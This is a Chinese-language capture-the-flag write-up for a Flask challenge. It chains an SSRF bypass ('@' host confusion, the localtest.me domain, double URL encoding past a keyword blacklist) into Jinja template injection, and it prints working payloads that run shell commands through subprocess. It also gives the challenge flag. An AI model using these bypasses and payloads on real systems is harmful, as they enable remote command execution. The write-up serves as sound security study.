后来没时间看Hacked v2了(悲)
先看配置文件
1 | # Use the official Python image as the base image |
注意到flag在根目录中的一个文件名随机的文件里
看附件app.py
1 | from flask import Flask, request, Response, jsonify, redirect, url_for, render_template_string, abort |
utils.py
1 | from flask import request, abort |
浅读了一下代码。/secret中的SSTI sink很明显
1 | template = '''<!DOCTYPE html> |
看到经典SSTI连招:format字符串加render_template_string,可以确诊是jinja SSTI了
但是注意到/secret路由有一个is_from_localhost的检测。
1 | def is_from_localhost(func): |
看了一下绕不了,只能靠SSRF打进来
先打通SSRF,在通过传admin参数打SSTI
SSRF
注意到根路由有个很明显的功能可以实现SSRF————访问用户传入的URL。过滤要求:
- 通过check_forbidden_input检测(黑名单)
- 在URL前面加http://daffa.info
- URL以list_endpoints中的元素之一结束
- 通过is_safe_url检测(黑名单)
- 禁止重定向(allow_redirects=False)
一个一个来。
通过check_forbidden_input检测
首先要通过check_forbidden_input检测,这里可以把http包精简一下,把黑名单上的不必要的参数去掉。
黑名单:
1 | blacklist = ["debug", "args", "headers", "cookies", "environ", "values", "query", |
http包如下:
1 | GET / HTTP/1.1 |
只留下这几个必要的(或不会触发过滤的)http头。这样就可以访问根目录了。
在URL前面加http://daffa.info
注意到没有过滤@。在URL解析里有http://xxx.xx@yyy.yy会解析到yyy.yy去(经典CSRF常用性质)
1 | GET /?url=@127.0.0.1:1337/secret?admin={{SSTI PAYLOAD}} HTTP/1.1 |
URL以list_endpoints中的元素之一结束
这个其实完全不影响。因为我们最后的目标是SSTI。SSTI时}后面多了字符完全没问题。我们可以把/about/放在SSTIpayload后面
1 | GET /?url=@127.0.0.1:1337/secret?admin={{SSTI PAYLOAD}}/about/ HTTP/1.1 |
即使不是SSTI,我们也可以新开一个GET参数,把/about/放在最后就行。
1 | GET /?url=@127.0.0.1:1337/secret?admin={{SSTI PAYLOAD}}%26nevergonnagiveuup=/about/ HTTP/1.1 |
通过is_safe_url检测(黑名单)
1 | RESTRICTED_URLS = ['localhost', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] |
URL中不包含RESTRICTED_URLS中的字符即可。
这里我们的127.0.0.1肯定是G了。::1也不太行,[::]啥的也不行(中括号在check_forbidden_input被禁)。
然而.还在。有一个比较冷门的SSRF绕过方法是用域名解析。有一个很神奇的域名www.localtest.me会永远解析到127.0.0.1(不信你自己ping一下)
所以我们可以用www.localtest.me代替127.0.0.1
1 | GET /?url=@www.localtest.me:1337/secret?admin={{SSTI PAYLOAD}}/about/ HTTP/1.1 |
到这里我们的SSRF就打通了
SSTI
SSTI是很困难的。这里受到check_forbidden_input的限制完全打不了。如果有人用纯SSTI打通了请把payload发给我收徒())。
我试了半天没打通SSTI。过滤太严格了。我估计预期解应该是直接SSTI。不然不会给你留{,}和小括号(SSTI必需部件)(过滤{{可以用{%)
这里_没了,但没有限制request,反而把args,form这些东西限制了。只能用request.json传,但是呢json传参又要content-type头是application/json,有application,又被限制。。。总之是打SSTI打红温了。
(睡了一觉起来刷牙的时候突然想到可以用URL双重编码,去学校的路上觉得好像有点道理。在学校越想越觉得我tm是个天才())回来一试果然通了。)
URL双重编码绕过
为什么可以用这个呢?你看,既然这个URL是经过两次解析的(SSRF前后),必然会解两次URL码。而那个极其严苛的过滤check_forbidden_input是在SSRF前的那一次,SSRF后的SSTI部分反而没有任何过滤。**也就是说,我们的合法输入在过滤之后,还有一次用URL编码改变自己的机会。**这时候,我们就可以用URL二次编码了。
%的URL编码为%25。假设我们要传入{就可以用%257b,经过第一层解码变成%7b(%25变成%)第二次解码变成{。而第一次解码结束后,传递到过滤函数的是%7b,不是{,就不会触发waf
假设我们传入:
1 | /?url=%40www.localtest.me:1337/secret?admin=%257b%2525%2570%2572%2569%256e%2574%2528%2528%2529%252e%255f%255f%2563%256c%2561%2573%2573%255f%255f%2529%2525%257d%26aaa=/about/ |
经过第一次解析,变成
1 | /?url=@www.localtest.me:1337/secret?admin=%7b%25%70%72%69%6e%74%28%28%29%2e%5f%5f%63%6c%61%73%73%5f%5f%29%25%7d&aaa=/about/ |
这时候绕过check_forbidden_input,传入SSTI时再解一次URL编码。admin参数就变成了{%print(().__class__)%}就可以正常SSTI了。

只能说出题人没想到这里()))发现了这个之后我的SSTI之路一马平川)
先找可以用的类

扔到脚本里跑,跑出来这几个索引
1 | 80: _frozen_importlib._ModuleLock |
然后就随便打了,甚至不用管flag文件名。
1 | {%print([].__class__.__base__.__subclasses__()[351]('cat /*',shell=True,stdout=-1).communicate()[0].strip())%} |
URL编码两次出

TCP1P{Ch41n1ng_SsRF_pLu5_5St1_ba83f3ff121ba83f3ff121}
包非预期的。还是希望直接SSTI出的硬核大佬别喷。